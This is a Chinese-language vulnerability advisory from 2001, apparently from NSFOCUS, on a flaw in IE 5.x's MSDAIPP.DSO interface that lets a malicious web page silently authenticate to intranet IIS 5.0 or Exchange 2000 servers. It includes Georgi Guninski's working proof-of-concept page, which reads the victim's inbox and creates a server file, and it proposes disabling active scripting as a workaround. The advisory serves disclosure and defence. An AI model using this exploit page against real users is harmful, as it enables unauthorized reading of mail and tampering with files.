首页 -> 安全研究

安全研究

安全漏洞
微软MSDAIPP.DSO脚本接口漏洞

发布日期:2001-03-30
更新日期:2001-03-30

受影响系统:

    IE 5.x + IIS 5.0/Exchange 2000
       - Win2K
描述:

MSDAIPP.DSO(Microsoft OLE DB Provider for Internet Publishing)提供了一种脚
本接口,用于访问、管理IIS 5.0或者Exchange 2000。问题在于该接口允许脚本连接
任意服务器,而不仅仅限于被加载WEB页面所在服务器。更糟糕的是,此时脚本连接
的IIS 5.0服务器如果在IE 5.x客户端的"本地 Intranet 区域"中,缺省情况下
IE 5.x不对用户做任何提示,自动进行身份验证。攻击者可以构造一个恶意的WEB页
面,远程用户浏览该页面的时候,页面中的脚本以远程用户的身份访问预先指定的
IIS 5.0或者Exchange 2000,如果访问验证通过,脚本可以获取远程用户在Exchange
2000上的邮件信息,获取IIS 5.0上该远程用户可以访问到的敏感信息(比如目录列表
),还可以远程用户的身份在Exchange 2000上修改文件、创建新文件。潜在的破坏随
远程用户的权限不同而不同。注意,这个恶意的WEB页面本身可以位于任意WWW服务器
上。

<* 来源:Georgi Guninski  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


为了测试下列页面,需要修改INTRASERVER 和 USERNAME。具体原理参看漏洞描述。
如果IIS 5.0的配置允许相应远程用户浏览目录,则可以修改页面中的Data Source设
置,脚本将获取INTRASERVER的目录列表。

--msdaippdemo.html----------------------------------------------------------
---
<HTML>
Written by Georgi Guninski
<SCRIPT>
function f()
{
    conn=new ActiveXObject("ADODB.Connection");
    conn.ConnectionString='Provider=MSDAIPP.DSO.1;
    Data Source=http://INTRASERVER/exchange/USERNAME/inbox';
    file://change INTRASERVER and USERNAME with real values
    rec=new ActiveXObject("ADODB.Record");
    conn.Open();
    rs=new ActiveXObject("ADODB.Recordset");
    rs.Open("SELECT * from SCOPE()",conn);
    win=window.open("about:blank");
    win.document.open();
    // DISPLAYS ALL MESSAGES FROM USER'S INBOX
    while (!rs.EOF)
    {
        for(i=0;i<rs.Fields.Count;i++)
        {

win.document.writeln(rs.Fields(i).Name+"="+rs.Fields(i).Value+"<BR>");
        }
        rs.MoveNext();
    }
    file://create file file newlycreatedfile.html
    rec.Open ("newlycreatedfile.html",conn,3,0);
    win.document.close();
}
setTimeout("f()",1000);
</SCRIPT>
</HTML>


建议:

临时解决办法:

NSFOCUS建议您暂时禁止活动脚本

厂商补丁:

暂无


浏览次数:3881
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障